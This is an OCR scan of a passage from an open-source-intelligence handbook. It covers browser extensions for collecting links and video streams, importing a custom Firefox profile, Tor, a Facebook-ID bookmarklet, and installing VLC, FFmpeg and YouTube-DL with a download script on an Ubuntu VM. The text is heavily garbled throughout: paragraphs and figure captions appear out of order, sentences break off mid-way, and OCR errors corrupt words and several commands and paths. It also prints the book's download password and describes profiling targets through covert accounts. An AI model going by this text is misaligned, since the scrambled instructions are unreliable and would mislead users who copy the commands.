£? 1QDB Save image AS- G Google Ema‘llma°C- - Set As Desktop Background- View Image Info E WhatAnlme F3 TinEye Send Link to Device ► [Fj Bing Inspect Element ® Ba,du Yandex ® B,ock element £8 KarmaDecay T Translate page with Google Translate fll imgOps & ■.■ ?• ] Use Alternate This simple add-on will identify any hyperlinks within the selected text of an individual web page. It will store the links within your operating system's clipboard, which allows you to paste them into any application of your choice. While only a small utility, it can quickly turn a large project into an easily completed task. am on 35 W eb Browsers YouTube: When viewing a person's YouTube videos page, Copy Selected Links allows link collection of every linked video into a report. Twitter: When I photos. 1 use Copy Selected Links individual's profile. I will then paste these into Excel for later analysis. me to paste the entire am viewing a Twitter profile, I will use can quickly copy the active Using "Share as web page" is not recommended as it creates an html page of your tab group on the OneTab servers. The preferred method for transferring OneTab bookmarks is to use the export feature, which is found in the upper right menu. This will allow you to copy your links as plain text URLs and paste them into a more secure platform. OneTab defaults to deleting the bookmarks from a group if you select "Restore all". To change this behavior, select "Options" and select "Keep them in your OneTab list". Right-clicking on a web page wall bring up the OneTab context menu which allows for more granular tab selection, as seen in Figure 3.16 (right). OneTab collects no user data unless you intentionally click on the "Share as web page" feature. Barring that feature, all data is stored locally on your workstation. eBay: While viewing results from a search for a specific fraudulent product, I hyperlinks to each auction and paste them directly into a report in seconds. Human Trafficking: While viewing ad results for suspected human trafficking victims, I can copy all actixe hyperlinks and paste directly into a report, email, or memo for other investigators. Documents: When I encounter a public FTP server or open web directory, this tool allows me to copy the native links to all files encountered. This is helpful for documentation after downloading all of the data. Performing screenshots during my investigation in these examples would never identify the direct links to the visible content. Only hovering over the links would temporarily identify the source. A com inauon o screen captures and link collection with this add-on provides a much more comprehensive report. Interacting with the management page is straight forward. At the top of each tab set is an editable tide which defaults to the number of tabs in that group. Left-click on the dde to change it to something logical for that set of links, such as "Username Subject X". To the right of the tide is a date and timestamp indicating when the list was saved. You can drag and drop individual bookmarks to change the order in each group or to move links from one group to another. Clicking on "Restore all" will re-open each of the bookmarks into its own tab. The bookmarks are links, not saved pages, so you will be reloading any non-cached page content from the remote host. Selecting "Delete all" will destroy the bookmarks in that group. Selecting "More...' gives options to rename, lock, or star the tab group. "Star this tab group" pins that group to the top of your management page, independent of the date and time created. Facebook: When I am on my target’s list of Facebook friends, I will select all text and to quickly record each hyperlink to an L2."~ . :— Comparison with previous captures identifies those that were "unfriended". this utility to capture all links to external websites and OneTab (addons.mozilla.org/en-US/firefox/addon/onetab/) This extension provides simple and effective management of browser tabs by allowing you to collapse any open pages into a list of bookmarks. Once installed, it is activated by clicking on the blue funnel icon on your toolbar. Doing so will close any open tabs and open the OneTab management page, as seen in Figure 3.16 (left). The collapsed tabs are displayed on this page as a group of bookmarks. Each individual bookmark is made up of a page title, with the respective URL embedded as a link. Any previously saved tab groups are stored further down the page in reverse chronological order. V OneTab Total 153 tabs 8tabs Exclude whate1sexdublogs.org from OneTab Help Figure 3.16: The OneTab management page (left) and context menu (right). Stream Detector (addons.mozilla.org/cn-US/firefox/addon/hls-stream-detector) Copy stream URL ac I URL only X Timestamp X 2020-10-31121:52:20.271Z cnnios-fjkamaihd.net index_0_w X 2020-10-31T2l:52ri9S38Z cnnios-f.akamaihd.net M3U8 X cnnios-fjkamaihd.net index_5jiv 2020-10-31T2l:52ri9.832Z M3U8 X inde»_1_av cnnlos-takamaihd.net 2020-10-31T21:52r!9.039Z X ennios -fakamaihd.net 2020-10-31T21:52:18.751Z Figure 3.17: The Stream Detector extension displaying embedded video streams. 36 Chapter 3 Display OneTab Send all tabs to OneTab https:/1 cnnios-f.akamaihd.net/i/cnn/big/entertainment/2020/10/31 / sean-connery-dead-james-bond-vpx- pkg-elam.cnn_3462706_ios_,650,1240,3000,5500,.mp4.csmil/master.m3u8 Analysis by Brian Lowry, CNN © Updated 1232 PM ET, Sat October 31,2020 Send only this tab to OneTab Send all tabs except this tab to OneTab Send tabs on the left to OneTab Send tabs on the right to OneTab Send all tabs from all windows to OneTab mtc<I«hnjue5 FOrtOT l> OSIN I Sea m TmI ty ime .Techa ques | Open Source tnref wence O Spokeo • Peotfe Search | Wha Rases | Reverse Rhone Lookup O The worlds ben Cater ID & Spam Blocking app | Truecaler 0 TiuePrcpleSecth: Free Recife Search O Free Fam.7 Tree and Genea'cgy Research • FamFyTrreNowxcm O DuaOi*kGo-PTWty.sr.Tptied. Q fePu* M3U8 M3U8 Downloading and opening this link within VLC media player, which is explained in the next chapter, plays the entire video within the software. The Linux-based Python tools which we create in the next chapter help us download the entire video for offline use. While this extension may seem complicated now, it will simplify archiving of online video streams in the next chapter. For now, the power of this utility is the ability to document our evidence. I can now disclose the exact digital source of the video stream. This can be extremely valuable when a website is later removed or altered, but the media remains untouched on the media hosting server. We will explore online video streams much more later. If this extension provides value to your investigations, but you find some sites which do not function, consider adding another Firefox extension tided The m3u8 Stream Detector (addons.mozilla.org/firefox/addon/the-m3u8-stream-detector). It may pick up missing streams. This extension has become vital during my daily OSINT routines due to the prevalence of streaming video within my daily investigations. Whether pre-recorded or live, many websites now deliver video via embedded streams rather than traditional files. While we could once easily right-click an online video and download the file as an MP4, that is rare today. We must now be prepared to encounter video stream protocols such as playlists (M3U8) and transport stream (TS). Let's start with an example. While writing this chapter, sources on Twitter reported the death of Sean Connery’. The page displaying various news articles (https://twitter.eom/i/events/1322516496564723713) included a post with video which linked to cnn.com. Right-clicking this video provided an option to play the video, but nothing to download it. Monitoring the network activity of the page through "Inspect Element" presented numerous small files, none of which were the entire video. However, clicking on the Stream Detector extension presented the options visible in Figure 3.17. The bottom "master" option is a link to the M3U8 stream which is responsible for the video playback. Clicking this link copies it to the clipboard. The full link is as follows. crim j Fonrrat Oeetret S-j'FMweO p»je [^entertainment Stars Screen Bingo Culture ond James Bond, Set /ie star Bring an tats into OnrTab 9-j’e X as net page Eipcrt/tapCTC USLS Options Fwxres/Hrip About/feedback Meal! Type KeePassXC-Browser (addons.mozilla.org/en-US/firefox/addon/keepassxc-browser) Exporting and Importing a Pre-Configured Profile 37 Web Browsers The following instructions allow you to export your final settings and import the same customizations into other investigative computers. The details will vary slightly based on your operating system and version. Only execute this tutorial on a new install of Firefox that has no saved settings, or within a version of Firefox that you want to be overwritten. Do not overwrite your current version if you have bookmarks, extensions, or other data that It is important to provide the URL of each website within the entries in the KeePassXC application. When you store your username and password for each service, also include the URL in the appropriate field, such as https://twitter.com. It is vital to include the exact URL, including "https://". This allows the extension to match the URL on the current page to the entry in your password database. Consider the following typical scenario. Installation of this extension is straightforward. However, it will not work undl you make some modifications to your password manager application. This extension is simply a conduit to bring the program functionality into the browser. The first step is to make sure you have the KeePassXC program and database configured on the machine which you want access. If you are installing the browser extension within Firefox on your VM, but your program is on the host computer, they cannot see each other. In this scenario, you will possess KeePassXC and a password database on your VM (explained in the next chapter), and add this browser extension to Firefox within this same VM. In a previous chapter, I explained the requirement to possess a reliable password manager within your investigative computer. 1 choose the application KeePassXC because it is secure and completely offline. I do not want to keep my usernames and passwords to my covert accounts within any online third-party database. While data exposure is unlikely, I cannot take the chance. Personally, I prefer to copy and paste my passwords directly from the password manager application into the browser. I realize I am more paranoid than the average investigator in matters related to privacy. I also respect that you may need a more convenient option to automatically enter your passwords into multiple covert accounts. My suggested solution offers the convenience of automatically populated passwords with the privacy of an offline database. In my KeePassXC database, I have several entries for various covert Facebook profiles. When I visit facebook.com, I click on the username field at the login prompt. I immediately see a list of all my covert accounts, which is retrieved from my KeePassXC database. I can also right-click within a login field and ask my browser to populate the credentials. When I select the desired username, that name and password are automatically populated into the browser. 1 can log in to that account without typing or pasting a password. All of this happens without relying on a connection to an online password manager. The data is transferred through your local machine, and your passwords are never sent via internet, within plain text or encrypted. This is an offline solution which provides a level of security an online password manager could never supply. At this point, it may seem overwhelming when thinking about the abundance of add-ons and their proper configurations. I currently use several Windows, Apple, and Linux virtual machines and must keep my Firefox browser updated on all of them. 1 no longer manually update each browser. Instead, 1 maintain a single Firefox browser that includes all customizations that 1 desire. I then import these settings into any other browsers in order to replicate the experience across every computer I use. In a moment, I share my profile with you for easy import. Once you have the application and extension installed, navigate to the "preferences", "options", or "tools" menu (varies by OS and version). Click on "Browser Integration" in the left menu and select the box to enable this feature. Specify which browsers should have access and save your changes. Back in Firefox, open the KeePassXC menu and click "Connect". You should be prompted within your KeePassXC application to allow this connection, and you will be asked to provide a name for the configuration. Once complete, you are ready to start using this extension. Custom Firefox Profile 38 Chapter 3 • Download the file hosted at https://intekechniques.com/osintbook9/ff-template.zip. • Save it to your Desktop. Enter a username of "osint9" and password of "bookl43wt" (without quotes) if required. • Extract the data by double-clicking it and saving the ff-template folder to your Desktop. • Enter the folder, select all of the files, right-click, and select "Copy". • Open your CONFIGURED version of Firefox and click the menu button (three horizontal lines), then click "Help", and then select "Troubleshooting Information". The Troubleshooting Information tab will open. • Under the "Application Basics" section, click on Open (or Show) Folder (or Directory). A window with your profile files will open. Close Firefox, but leave this window open. • Copy these files into a new folder on a removable drive. • Open your NEW version of Firefox and click the menu button (three horizontal lines), click "Help", and then select "Troubleshooting Information". The Troubleshooting Information tab will open. • Under the "Application Basics" section, click on Open (or Show) Folder (or Directory). A window with your profile files will open. Close Firefox, but leave this window open. • Paste the content of the new folder on your removable drive into this folder. Overwrite any files when prompted. Restart Firefox. you want to keep. You should backup any settings if proceeding on an older install. As a final warning, the following steps will overwrite any custom options applied to your target Firefox installations. While I prefer readers create their own Firefox configuration, I respect that a lot of effort is required to replicate these steps within multiple machines. Therefore, 1 have created a custom file which includes ever}7 configuration explained within this chapter. It can be used within any instance of Firefox on Windows, Mac, or Linux. It could even be used on your new custom Linux Ubuntu VM created previously. Let's walk through each option. Ubuntu Linux: Launch Firefox then close the application. Open Terminal and enter the following commands, striking enter after each, omitting the explanations within parentheses. The result should be a copy of Firefox which contains even7 add-on you configured from this chapter. This profile could be copied to an unlimited number of computers, as long as the versions of Firefox were identical. 1 once visited a large fusion center which had created a custom Firefox profile for use on all computers. This made everyone s version of Firefox practically identical and ready for online investigations. When an employee was assigned to a different workstation, the look and feel of the browser was identical. This also included blocking of specific scripts globally throughout the organization with a custom version of uBlock Origin. • sudo apt install -y curl (Installs Curl to Linux) • cd ~/Desktop (Switches to the Desktop path) • curl -u osint9:bookl43wt -0 https://inteltechniques.com/ osintbook9/ff-template.zip (Downloads file) • unzip ff-template.zip -d -/.mozilla/firefox/ (Extracts the file) • cd ~/.mozilla/firefox/ff-template/ (Switches to the Firefox path) • cp -R * ~/.mozilla/firefox/* .default-release (Copies data) Windows & Mac: While Terminal commands are possible, and will be used within the Mac and Windows OSINT machine chapter, I find it easier to copy the profile based on the official tutorial presented within the previous page. You could also replicate these steps within Linux if you experienced any difficulty with the previous steps. Conduct the following. Chrome (google.com/chrome) \X'eb Browsers 39 Privacy: Beside the content settings button is a button labeled "Clear browsing data". This button will open a dialogue that allows you to clear any or all of the data stored during your sessions. You may erase information for a period of time ranging from the last hour to "the beginning of time". You may wish to use this function to clear all of your browsing data daily. Passwords and forms: I recommend disabling these features by unchecking the boxes "Enable Autofill to fill out web forms in a single click" and "Offer to save your web passwords". If you have stored form-fill information or passwords in Chrome, I recommend removing any data before conducting investigations. • Open Firefox and click the menu button (three horizontal lines), click "Help", and then select "Troubleshooting Information". The Troubleshooting Information tab will open. • Under the "Application Basics section, click on Open (or Show) Folder (or Director}’). A window with your profile files will open. Close Firefox, but leave this window open. • Paste the content of the new folder on your removable drive into this folder. Overwrite any files when prompted. Restart Firefox. When you re-open Firefox, you should now see all the extensions installed and configured within the menu. All privacy and security settings should be applied and you are ready to begin your usage. If the extensions are missing, close Firefox and re-open. As a final reminder, these actions overwrite any existing bookmarks, extensions, settings, and other configurations. This tutorial is always preferred within a new instance of Firefox, such as your new Ubuntu VM. Chrome is an excellent browser that is known for being very fast and responsive. Chrome is also very secure by nature, but compromises privacy since Google receives a lot of data about your internet usage. Both Firefox and Chrome "sandbox" each tab. Sandboxing restricts the content in that tab to that tab only, preventing it from "touching" other tabs in the browser, or the computer's hardware. This is a very important feature in preventing malware from being installed when you visit a malicious website. While I always prefer Firefox as my browser for investigations and daily usage, Chrome is my browser used during live training events. This is due to stability when loading dozens of tabs, and your system should have a lot of RAM if you want to take advantage of Chrome's power. For investigative purposes, Chrome can use several of the add-ons previously mentioned for Firefox. I highly recommend uBlock Origin as discussed previously on any browser that you use, including Firefox, Chrome, Safari, and Opera. The only time that 1 use Chrome during an investigation is when I am forced because of a Chrome-specific utility. Before discussing any investigative resources, I suggest you harden your Chrome security. Enter the Settings menu and consider the following changes. 1 offer a final note about Chrome. I believe it is very invasive into your usage and investigations. If you are concerned about the privacy issues surrounding Google's capture of internet traffic occurring within Chrome, consider switching to the Brave browser. It is based on Chrome, but has eliminated most of the intrusive behavior of Chrome. Of all the privacy-related versions of Chrome, 1 believe Brave has the best execution. If you do not need Chrome, and can complete all of your investigations within Firefox, I believe you will possess more privacy. Chrome Extensions: To install add-ons in Chrome, navigate to the settings menu. Click "Extensions" on the upper left side of the Chrome interface. You will be presented with all the add-ons that are currently installed in Chrome. I recommend uninstalling any add-ons that you did not personally install or research for trustworthiness. Furthermore, most extensions previously explained for Firefox can be installed in the same manner in Chrome. Tor Browser (torproject.org) I igure 3.18: A Tor IP address and location (top) and actual data (bottom). I 209.58.129.99 [Hide this IP with VPN] 0X1GS2& j San Jose, California (US) (Details] 209.58.129.99, 198.143.34.33 I 216.239.90.19 [Hide this IP with VPN] -■-Tm— ----------~4 iPiSEuEffi ; Montreal. Quebec (CA) [Details] | 216 239.90 19 198.143.60 25 For Windows and Mac, die Tor bundle is available for free from the site above and requires minimal default installation. Installation widiin Linux is discussed in the next chapter. Upon launching, die first task that Tor Wil complete is to create a connection to a Tor server. This connects you to a server, usually in another country, and routes all ofyour internet traffic through that server. After the connection is successful,' it will load a custom version ot the Firefox browser. Now, every website that you visit through this browser will assume you are connecting dirough this new IP address instead of vour own. This provides a layer of privacy to stay hidden from a suspect. ' ' This may be overkill for most investigations. If you are only searching and monitoring common services such as Facebook Twitter, or YouTube, this service is not needed. If you are visiting personal websites and blogs of a tech savvy hacker, you should consider Tor. When using Tor, vou may notice a drastic decrease in the speed ot your internet This is normal and unavoidable. This often improves 'the longer you are connected. To stop te service, simply close the browser. This will disconnect the Tor network and stop all sendees. Figure 3.18 spiays the II address assigned to me through the Tor Browser (top) and a browser not using Tor (bottom), any activity conducted through the Tor browser is not associated with my real internet connection and appears to be originating in Canada. 40 Chapter 3 Tor is an acronym for The Onion Router. Basically, it allows you to mask your IP address and appear to be browsing die internet from a false location. Normally, when you connect to the internet and browse to a website, diat website can identify the IP address that was assigned to you from your internet sendee provider. This can often identify the city and state that you are in and possibly the business organization where you are currently located. In some instances, it can identify the building you arc in if you are using public wireless internet access. The owner of die website can dien analyze this information which may jeopardize vour investigation. Tin's is one of the many reasons diat 1 recommend the uBlock Origin add-on for Firefox which was explained earlier. uBlock Ongin will block most of die analytic code within websites that monitors your information, but it will not stop everything. Occasionally, you may want to change your IP address to make vou appear to be someone else in a different country. This is where Tor excels. Bookmarklets XX’cb Browsers 41 javascript:(functionQ%7Bvar html %3D documenLdocumentElement.inncrHTML%3Bvar subhtml %3D html.split("'userlD"%3A')%5Bl%5Do/o3Bvar output %3D subhtml.splitf%2C'")%5B0%5D%3Balert(output)%7D)0 Several editions prior to this version, I presented numerous bookmarklets for use with Facebook. They slowly lost value as Facebook constandy changed their code. Today, many bookmarklets can add features to the various websites we visit. These short lines of code do not open any specific web pages. Instead, they execute commands within the website you are currently viewing. They are stored as bookmarks within any browser, but never navigate away from the current page. Let's conduct a demonstration and then explain the usage of each option. In Chapter Ten, I explain the importance of obtaining a Facebook user's ID number. Searching through the source code displays this identifier, but pushing a button is easier. The following code could be added as a bookmarklet within your browser to display a popup notice of the user's Facebook ID number. Notes: Opens a blank page which can be used to type or paste notes about the current website. This data is stored within your local storage and is persistent. If you open a new website and click this option, the notes page will be blank. If you return to the previous page which contained notes, clicking this button retrieves those notes pertinent to that URL. This allows you to keep custom notes throughout your entire investigation about each site independendy. Rebuilding your VM or Firefox profile removes all note data. After saving this code as a bookmark and loading "zuck’s" Facebook profile, I launched the bookmark and received a popup displaying "4". I now know his user ID is 4, which can be used for the methods explained later. I prefer to save all bookmarklets within the toolbar of my browser for easy access. The Firefox profile discussed previously already has them all configured for usage. Simply click the "Bookmarklets" toolbar shortcut and choose the most appropriate option for the page you are viewing. Below is a summary' of every' option. It should be noted that I did not create all of these. The code presented here has been floating around several OSINT websites for many years. As an example, the "ModifiedDate" code was originally released in the Third Edition of this book, but numerous OSINT practitioners now claim credit for it on their own pages. While 1 cannot determine the original source of each entry' here, I thank those who help make these possible. FacebookID: XXfliile on any' Facebook profile, this option displays the Facebook User ID. FacebookGroupID: While on any Facebook group page, this option displays the Facebook Group ID. FacebookExpand: Attempts to expand all comments on a profile. May be slow and could crash on large pages! FacebookScroll: Loads and scrolls a Facebook feed before capture of a page. TwitterScroll: Loads and scrolls a Twitter feed before capture of a page. InstagramScrolI: Loads and scrolls an Instagram feed before capture of a page. PageScroll-Slow: Slowly scrolls through a static website for video capture. PageScroll-Fast: Faster scroll through a static website for video capture. PageScroll-Feed: Scrolls through a feed-style (social network) website for video capture. ModifiedDate: Displays the date and time of modification to a static web page. Cache-Google: Opens a Google Cache version of the current website. Cache-Archive: Opens the Archive.org version of the current website. Images: Opens a new tab with all images from the current website. Links: Opens a new tab with all URL links from the current website. WordFrequency: Displays all words on a page sorted by frequency’ to easily digest keywords. Paywall: Opens a blocked news article within a new tab through Outline.com. Right-Click: Enables right-click functionality' on sites which block it. TextSelect: Enables copy-paste functionality on sites which block it. BugMeNot: Checks BugMeNot for public credentials to any website (explained later). Tools: Opens your offline search tools on your Linux Desktop (needs modified for Windows/Mac). 42 Chapter 4 Linux Applications 43 Consider this chapter the manual approach in order to understand ever}’ detail of our new virtual machine with custom tools. It is designed for those who want to know everything happening behind the scenes. Later, the automated installation will allow you to create machines with almost no effort. Ch a pt e r f o u r Lin u x a ppl ic a t io n s We can replicate practically ever}’ Windows-only application mentioned in the previous editions while protecting our investigation within a secure VM. There will be a learning curve if you are not familiar with Linux, but the data obtained during your investigations will be superior to the content retrieved from Windows application equivalents. In a later chapter, I offer options to replicate all of our Linux tools within both Windows and Mac operating systems. Once we have our systems ready, then we can dive into various online search techniques. /Ml scripts referenced throughout this entire chapter can be downloaded from my website at https://inteltechniques.com/osintbook9. When prompted, enter a username of "osint9" and password of "bookl43wt", without the quotes. The next chapter automates this entire process which creates a 100% functioning OSINT VM within a few minutes. The following page presents a summary of the custom applications which we will create together within your VM throughout the next two chapters, including the corresponding icons for each. Previous editions of this book included a chapter focused on Windows-only software applications beneficial to OSINT analysis. I now place the emphasis on Linux for three reasons. First, many of those applications have become outdated, or they are no longer maintained, and do not function as originally intended. Second, I want to enforce better security within our investigations. As previously stated, I believe we should only conduct investigations within secure virtual machines which are free from any contamination of other cases. In almost ever}’ way, Linux is safer. Finally, there are simply many more OSINT-related applications natively available for Linux than Windows. Hopefully, you now have a functioning Linux Ubuntu virtual machine and customized browsers. That alone provides a very secure environment for your online research. However, possessing customized software applications within your VM would greatly enhance your investigations. Ubuntu provides some basic applications in the default installation, but I want to take that to the next level. In this chapter, we are going to customize your Ubuntu VM with numerous OSINT applications which will automate many investigative tasks. In Buscador, David and I provided all applications pre-configured for use. This included icons to launch programs and scripts to help execute specific queries. As previously stated, we should not rely on third parties to create and maintain these VM configurations (even my own public resources). The goal here is to teach you how to replicate that work and easily create your own custom VM. If conducting the following tutorials to your original VAI, you will only need to take these steps once. Each clone you create will maintain all your hard work. Some of this chapter may seem complicated at first. I promise everything becomes easier as you practice. I will explain the entire manual process of downloading, installing, configuring, and executing each program. Furthermore, I will demonstrate how to create and download scripts in order to easily automate your queries without the necessity of entering the terminal commands and switches. This will be a crash course in Linux, but the lessons learned now will pay off in future usage. OSINT Tools: Launch the custom OSINT Tools discussed later in this section through Firefox. Flickr account email and search through various online accounts to 44 Chapter 4 Q > (Si E $ □ e §> E Video Utilities Tool: Play, convert, extract, or compress any video, then display all results. Extract audio from any media. fInternet Archive Tool: Enter a URL and retrieve source code and screen captures of archives from Internet Archive and display all results as explained in Chapter 27. Spiderfoot: Launch Spiderfoot through your custom Firefox build in order to conduct full queries, as explained in Chapter 27. Metadata Tool: Analyze metadata stored within media files or submit your own files and remove all metadata for safe transmission. Video Stream Tool: Easily play, save, convert, and archive live and pre-recorded video streams in real-time. Video Download Tool: Download single videos comments, and display results. the IP address of an zplained in Chapter 28. HTTrack: Launch HTTrack’s web service and clone static websites without the need and execute through Terminal. Username/Email Tool: Enter a username or discover profiles through various services. or channels with captions, extract all YouTube Instagram Tool: Provide an Instagram username and extract all images using Instalooter and Instaloader, or full content with Osintgram. to navigate fi Breachcs/Lcaks Tool: Search through breach data, analyze a hash, or enter Elasticscarch server to retrieve all data stored within a specific index, as exj Gallery Tool: Provide a URL of a photo gallery and download all images, such as a or Tumblr profile, and display all results, or launch RipMe. Update Scripts: Update all software including operating system files, Pip programs, and all custom applications. Domain Tool: Execute a search of any domain through Amass, Sublist3r, Photon, theHarvester, or Carbon 14 and display all results. o Reddit Tool: Enter a Reddit username and extract current and deleted posts, plus archive entire subreddits, as explained in Chapter 27. Metagoofil: Enter a URL and receive any documents located on the domain, extracted metadata from the docs, plus a full report of all activity, as explained in Chapter 20. Eyewitness: Enter a single URL or list of URLS and receive site data and a screen capture of each. Recon-ng: Launch Recon-ng in order to conduct full queries, as explained in Chapter 27. Application Installation VLC Media Player sudo snap install vic Let's break down this command, as you will FFmpeg Linux Applications 45 This is another set of media tools, but these only work within Terminal. We will need them when we start adding utilities to manipulate and download videos. Enter the following into Terminal and press enter after each. • sudo apt update • sudo apt install -y ffmpeg see similar instructions throughout this chapter. install: This tells Ubuntu to install a specific software application. In this scenario, it instructed Ubuntu to install VLC. You may need to confirm installation when prompted by entering "y" for "yes". After you have executed this command, you should see VLC installed within the "Applications" menu by clicking the nine dots icon in the Dock to the left. You can launch the application within this menu and it should be set as the default option for opening most downloaded media files. By default, your Windows and Mac operating systems include media players which allow execution of audio and video files. Your default Ubuntu virtual machine may not have this luxury. However, this is easy to correct. VLC is an application which can play practically any media files you throw at it. You could find VLC within the Ubuntu Software application, but I prefer to manually install it. This also provides our first explanation of installation commands in Linux. Within Terminal, type the following command, pressing return after. apt update: This command updates the Ubuntu lists for upgrades to packages which need upgrading, as well as new packages that have just come to the repositories. It basically fetches information about updates from the repositories mentioned previously. sudo: This command executes any following text with elevated privileges. It is similar to running a program in Windows or Mac as the administrator. When using this command, you will be required to enter your password. Note that passwords entered within Terminal do not appear as you type them, but they are there. Simply press enter when finished typing. Any additional sudo commands in the same terminal session should not ask for the password again. Ubuntu possesses a software "store" in which you can point and click through various Linux applications and install them with ease. However, I discourage users from this method. Your choices are minimal and there are likely better alternatives available. Instead, we will use the Terminal for all of our application installations. If you followed the previous tutorials, you may already have the Terminal application in your software Dock within your Ubuntu VM created earlier. If not, you can always find the Terminal application within the "Applications" area of Ubuntu by clicking the nine dots within the Dock on the left of your screen. Open the Terminal application and leave it open while we install some required software. While I encourage readers to replicate this chapter manually, typing all of the commands directly, I maintain a file with every step at https://intcltechniques.com/osintbook9/linux.txt. If anything should need to be changed, you will find updates there. Let's ease into things slowly. snap: Snappy is a software deployment and package management system developed by Canonical for the Linux operating system. The packages, called snaps, are easy to install and update. added "- Video Download Tool • sudo apt install -y python3-pip • sudo -H pip install youtube_dl • youtube-dl https://www.youtube.com/watch?v=lLWEXRAnQdO 46 Chapter 4 • cd -/Desktop • youtube-dl https://www.youtube.com/watch?v=lLWEXRAnQdO This may be my most-used utility within my custom Linux OSINT VM. The Python script YouTube-DL is the backbone which will help us download bulk videos from YouTube and other sources. This is a Python script, and we will need to install "Preferred Installer Program", otherwise known as PIP. Enter the following into Terminal, which will proride the necessary configuration for the current default version of Python (3) in Ubuntu. We now have the necessary utilities installed for our media needs. This process is not too exciting, and you will not immediately see anything useful after these actions. However, you are laying the groundwork for the upcoming scripts. The YouTube-DL script is ready to use, but only through the Terminal application. Let's conduct an example in order to understand the features, and then discuss a way to automate queries. apt install: This tells Ubuntu to install a specific software application, such as FFmpeg. Since we y" to the command, we do not need to confirm installation during the process. You should now see the video file on your Desktop in Ubuntu. Playback will likely appear poor within the VM, but you could copy that file out to your host for proper playback through the shared folder on your Desktop. When you retrieved this video, you may have noticed that two files actually downloaded (one video and one audio). This is because YouTube-DL has detected that you have FFmpeg installed, and it chose to download the highest quality option for you. If you had not possessed FFmpeg, you would have been given a lower quality version. This is because YouTube presents separate audio and video files to the viewer when a high-quality output is chosen. YouTube-DL works in tandem with FFmpeg to download the best quality option and merge the result into a playable file. This is the best way to extract a single video from YouTube and other video sources. However, the true power is on bulk downloads. We can now install YouTube-DL via "Pip" by entering the following command. The "sudo -H" instructs the command to use elevated privileges (sudo), but to install as the current home user (-H) of "osint". This should prevent damage to the core functionally, which could happen if we had installed it as "root". Assume that we are looking for videos of Bob Ross teaching viewers how to paint with oils. After a search on YouTube, you found the Bob Ross video channel located at https://www.youtube.com/user/BobRosslnc. Clicking on the "Videos" option on that page presents https://www.youtube.com/user/BobRossInc/videos. This page displays over 600 full episodes of his television program. Clicking one of these videos presents a URL similar to https://www.youtube.com/watch?v=lLWEXRAnQdO. You want to download the video from this page in the best quality possible in order to attach it to your case. The default YouTube-DL command to do this is as follows. This will download the video to whichever director}7 you are in within Terminal. By default, you are likely in your home folder, but that is not a great place to save a video. Therefore, let's change the saved location to your desktop with the following commands. • youtube-dl https://www.youtube.com/user/BobRossInc/videos • youtube-dl https://www.youtube.com/watch?v=lLWEXRAnQdO —all-subs Linux Applications 47 Imagine the following scenario. You have a suspect on YouTube with hundreds of videos. You have been tasked to download every video and identify the exact files and timestamps of ever}' time he said the word "kill". One command within YouTube-DL would provide all of the data you need to conduct a search within all text files, and the corresponding video evidence. In a later chapter, I will provide a single query which will search all of these text files at once. 00:00:29.988 —> 00:00:32.108 - Hello, I'm Bob Ross and I'd like to welcome 00:00:29.988 —> 00:00:32.108 - Hola, soy Bob Ross y me gustaria dar la bienvenida Downloading all available formats of every video is likely overkill and could take several hours. However, obtaining the closed captioning for each video can be quite beneficial. The following command in Terminal will download the best quality' video and audio tracks of the target video, merge them together, and download a text file of each of the embedded closed captioning files. This tutorial could be sufficient for your needs, as it will download the media you desire. It works well on most video host websites. However, I would like to take things a step further. There are a few minor annoyances with this process. The first is that you must manually open Terminal in order to replicate this technique. Next, you must navigate to a desired folder for saving. Finally, you are at the mercy of YouTube-DL on the naming scheme for your saved file. The following may seem complicated at first, but it will simplify our usage of this utility’. —all-subs (Downloads all closed captioning subtides associated with the videos) —all-formats (Downloads all versions of a video of any quality') The video appears on my Desktop, as that was the last place I had navigated within Terminal. Next to the video is two text files with a .vtt file extension. Below are the first two lines of each. The first represents the English subtides, and the second are in Spanish. This will take some time to download everything, especially if the videos are long. If you want to cancel this command, press "Ctrl" and "C" on your keyboard at any time. This terminates any process within Terminal and may' be beneficial throughout this chapter. Additional options to add to this command include the following. In both versions of the Buscador VM, we created scripts which would automate the various tools which we had installed. These were publicly available inside the VM and were the best feature of the OS in my opinion. They simplified the Terminal tools into point-and-click utilities. A YouTube-DL script is as follows, with minor modifications due to changes in the command options. /Ml scripts mentioned in this chapter are located within my online archive of "vm-files" available at https://inteltechniques.com/osintbook9. If prompted, enter a username of "osint9" and password of "bookl43wt", without the quotes. Later in this chapter, we will incorporate all of the scripts explained in this chapter into our OSINT Original VM using only a few commands. Before then, we should understand the code and function. Assume you downloaded the previous file in reference to your investigation. You then see that your target possesses hundreds of videos on his YouTube "Videos" page. You want all of these videos, located at https://www.youtube.com/user/BobRossInc/videos. YouTube-DL can download these with the following single command. 48 Chapter 4 #!/usr/bin/env bash timestamp=$(date +%Y-%m-%d:%H:%M) url=$(zenity —entry —title "Video Downloader" —text "Target URL:") youtube-dl "$url" -o ~/Videos/Youtube-DL/"$timestamp% (title) s.% (ext) s" -i —all­ subs I zenity —progress —pulsate —no-cancel —auto-close —title="Video Downloader" —text="Video being saved to -/Videos/Youtube-DL/" nautilus -/Videos/ exit • cd -/Desktop (Places Terminal in the Desktop director)’) • chmod +x youtubedl. sh (Makes the script executable) • . /youtubedl. sh (Launches the script) The result would be the image seen in Figure 4.01 (left). If you entered either of the YouTube URLs used in the previous pages, the script would download the target data to your "Videos” folder. This solves many of the annoyances, but there is still one issue. You still need to open Terminal in order to launch the script. The solution to this is to create a ".desktop" file which we can launch from the Dock. You could conduct the following manual steps or automate this process with the tutorial presented in a moment. The following is provided in order to understand what wall happen behind the scenes when we automate our full VM build. • Open the Applications menu (nine dots) and launch Text Editor. • Enter the following text and save the file as youtubedl.desktop to your Desktop. [Desktop Entry] Type=Application Name=Video Download Categories=Application;OSINT Exec=/home/osint/Documents/scripts/youtubedl . sh Icon=/home/osint/Documents/icons/youtube-dl .png Terminal=true • Close Text Editor. • In Terminal, type: cd -/Desktop • In Terminal, type: sudo mv youtubedl.desktop /usr/share/applications/ • Enter password if prompted. • Open the Files program and click on "Documents" in the left area. • Right-click in the empty area and select "New Folder". • Create a folder tided "scripts" and enter this folder. • Drag and drop the youtubedl.sh file from the Desktop to this folder. • Click on "Documents" in the left area of the Files program. • Right-click in the white area and select "New Folder". • Create a folder tided "icons" and enter this folder. • Download the Linux "vm-files" archive from https://inteltechniques.com/osintbook9. • Enter a username of "osint9" and password of "bookl43wt" if required. • Extract the archive within your new VM. • Copy all images from the "icons" folder in the archive into the "icons" folder in the VM. The first line (#) explains that this file is an executable script. The second line creates a current timestamp in order to prevent duplicate file names and display the capture time. The third line (url) creates a menu prompt for the user to input the URL of the target video. The next line 